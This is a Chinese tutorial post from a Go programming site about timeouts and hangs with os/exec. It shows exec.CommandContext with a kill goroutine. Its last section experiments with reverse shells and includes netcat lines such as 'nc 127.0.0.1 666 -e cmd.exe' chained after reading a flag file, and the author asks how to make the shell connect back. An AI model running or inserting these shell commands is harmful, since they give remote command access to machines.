Go的os/exec执行超时导致程序死机的解决方案

 更新时间:2024年04月12日 10:03:47   作者:Aisre  
这篇文章主要介绍了Go的os/exec执行超时导致程序死机的几种解决方案,文中通过代码示例给大家介绍的非常详细,对大家的学习或工作有一定的帮助,需要的朋友可以参考下

1.cmd执行命令

先看一个简单的命令执行代码

import (
	"fmt"
	"os/exec"
)

func main() {
	cmd := exec.Command("cmd", "/c", "dir  C:\\Users\\ASUS\\Desktop\\新建文件夹")
	output, err := cmd.Output()
	if err != nil {
		fmt.Println(err)
		fmt.Println(" command failed:", string(output))
	}
	fmt.Println(" command success:", string(output))
}

执行输出结果,代码没问题,但出现命令执行超时,提前返回的结果,有时会卡住程序,这是我们可以用exec.CommandContext函数来设置一个超时时间

2.CommandContext设置超时

下面代码时用ffmpeg获取视频时间的操作,这是一个很需要时间的命令

func GetMP4Duration(filePath string) (int, error) {
	// 构建 FFmpeg 命令
	ctx, cancel := context.WithTimeout(context.Background(), 70*time.Second)
	defer cancel()
	cmd := exec.CommandContext(ctx, pojo.ResultDir+"\\bin\\ffmpeg.exe", "-i", filePath, "-f", "null", "NUL")
	// 执行命令并捕获输出
	output, err := cmd.CombinedOutput()
	if err != nil {
		return 0, err
	}

	// 解析输出以获取时长
	durationStr := extractDuration(string(output))
	if durationStr == "" {
		return 0, fmt.Errorf("Failed to extract duration from FFmpeg output")
	}

	// 将时长字符串转换为秒数
	duration, err := parseDuration(durationStr)
	if err != nil {
		return 0, err
	}

	return int(duration), nil
}

这只是一个设置超时时间程序

3.程序继续死机

当我以为这样就可以万事大局时,但是还是发生的死机,这时时需要调用系统命令去结束。

下面cmd.Process.Signal(syscall.SIGINT)是windows上调用

func GetMP4Duration(filePath string) (int, error) {
	// 构建 FFmpeg 命令
	ctx, cancel := context.WithTimeout(context.Background(), 70*time.Second)
	defer cancel()
	cmd := exec.CommandContext(ctx, pojo.ResultDir+"\\bin\\ffmpeg.exe", "-i", filePath, "-f", "null", "NUL")

	go func() {
		<-ctx.Done()
		if ctx.Err() == context.DeadlineExceeded {
			fmt.Println("Context done due to timeout. Killing process...")
			cmd.Process.Signal(syscall.SIGINT)
			//或者cmd.Process.Kill()
		}
	}()
	// 执行命令并捕获输出
	output, err := cmd.CombinedOutput()
	if err != nil {
		return 0, err
	}

	// 解析输出以获取时长
	durationStr := extractDuration(string(output))
	if durationStr == "" {
		return 0, fmt.Errorf("Failed to extract duration from FFmpeg output")
	}

	// 将时长字符串转换为秒数
	duration, err := parseDuration(durationStr)
	if err != nil {
		return 0, err
	}

	return int(duration), nil
}

这样确保程序出现错误时,不会卡死。

4. 当我们给出反弹sh时,超时会不会导致sh失效

go执行多条命令的写法,当我使用上面的写法不会执行多条命令

cmd := exec.CommandContext(ctx, "cmd", "/c", "type E:\\flag.txt && echo 'hello'")
func shtest() {

	//nc -lvp 777
	//nc 127.0.0.1 777 -e c:\windows\system32\cmd.exe
	//ffmpeg  -i  F:\测试专用\视频\065.mp4 |nc 127.0.01    -f  null  NUL
	// filePath := `F:\测试专用\视频\065.mp4`
	ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second)
	defer cancel()
	//-threads 5  -preset veryfast
	//ffmpeg  -i "1.成都“不用咬全靠吸”的蹄花,裹满辣椒水太满足了(Av1052272125,P1).mp4" -threads 5 -preset veryfast -f null null
	//ffmpeg  -i "1.成都“不用咬全靠吸”的蹄花,裹满辣椒水太满足了(Av1052272125,P1).mp4" -threads 5 -preset veryfast  -f null null
	// "echo 'hello' && echo 'hi'"     type   E:\\flag.txt
	//cmd := exec.CommandContext(ctx, "ffmpeg", "-i", filePath, "-f", "null", "NUL  & echo 'hello' && echo 'hi'")
	//cmd := exec.CommandContext(ctx, "cmd", "/c", "type E:\\flag.txt && echo 'hello'")
	cmd := exec.CommandContext(ctx, "cmd", "/c", "type  E:\\flag.txt  && nc 127.0.0.1 666 -e cmd.exe")
	sr := ""
	for _, v := range cmd.Args {
		sr += v + " "
	}
	fmt.Println(sr)
	go func() {
		<-ctx.Done()
		if ctx.Err() == context.DeadlineExceeded {
			fmt.Println("Context done due to timeout. Killing process...")
			cmd.Process.Signal(syscall.SIGINT)
		}
	}()
	// 执行命令并捕获输出
	output, err := cmd.CombinedOutput()
	fmt.Println(string(output))
	if err != nil {
		fmt.Println(err)
	}
	fmt.Println("5555555555")
}

但是我sh没传出去,已经把出战和入站流量打开。到点还是超时,有谁知道windows的sh到底怎么还可以怎么传

以上就是Go的os/exec执行超时导致程序死机的解决方案的详细内容,更多关于Go os/exec执行超时导致死机的资料请关注脚本之家其它相关文章!

相关文章

  • gin框架中使用JWT的定义需求及解析

    gin框架中使用JWT的定义需求及解析

    这篇文章主要为介绍了gin框架中使用JWT的定义需求及解析,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步早日升职加薪
    2022-04-04
  • Golang多模块开发的详细过程

    Golang多模块开发的详细过程

    这篇文章主要给大家介绍了关于Golang多模块开发的详细过程,文中通过实例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2023-02-02
  • golang struct, map, json之间的相互转换

    golang struct, map, json之间的相互转换

    本文用于记录我在 golang 学习阶段遇到的类型转换问题,针对的是 json 、map、struct 之间相互转换的问题,感兴趣的可以了解一下
    2021-06-06
  • Go语言基础枚举的用法及示例详解

    Go语言基础枚举的用法及示例详解

    这篇文章主要为大家介绍了Go语言基础枚举的用法及示例详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2021-11-11
  • Golang之sync.Pool对象池对象重用机制总结

    Golang之sync.Pool对象池对象重用机制总结

    这篇文章主要对Golang的sync.Pool对象池对象重用机制做了一个总结,文中有相关的代码示例和图解,具有一定的参考价值,需要的朋友可以参考下
    2023-07-07
  • Go http.Transport 主要参数说明

    Go http.Transport 主要参数说明

    这篇文章主要为大家介绍了Go http.Transport主要参数说明,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2023-06-06
  • Go语言实现简单的一个静态WEB服务器

    Go语言实现简单的一个静态WEB服务器

    这篇文章主要介绍了Go语言实现简单的一个静态WEB服务器,本文给出了实现代码和运行效果,学习Golang的练手作品,需要的朋友可以参考下
    2014-10-10
  • Go语言中定时任务库Cron使用方法介绍

    Go语言中定时任务库Cron使用方法介绍

    cron的意思计划任务,说白了就是定时任务。我和系统约个时间,你在几点几分几秒或者每隔几分钟跑一个任务(job),今天通过本文给大家介绍下Go语言中定时任务库Cron使用方法,感兴趣的朋友一起看看吧
    2022-03-03
  • Go语言实战学习之流程控制详解

    Go语言实战学习之流程控制详解

    这篇文章主要为大家详细介绍了Go语言中的流程控制,文中的示例代码讲解详细,对我们学习Go语言有一定的帮助 ,需要的朋友可以参考下
    2022-08-08
  • 利用golang实现封装trycatch异常处理实例代码

    利用golang实现封装trycatch异常处理实例代码

    Go语言追求简洁优雅,所以go语言不支持传统的 try…catch…finally 这种异常,最近发现了不错的trycatch包,下面这篇文章主要跟大家分享了关于利用golang实现封装trycatch异常处理的实例代码,需要的朋友可以参考下。
    2017-07-07

最新评论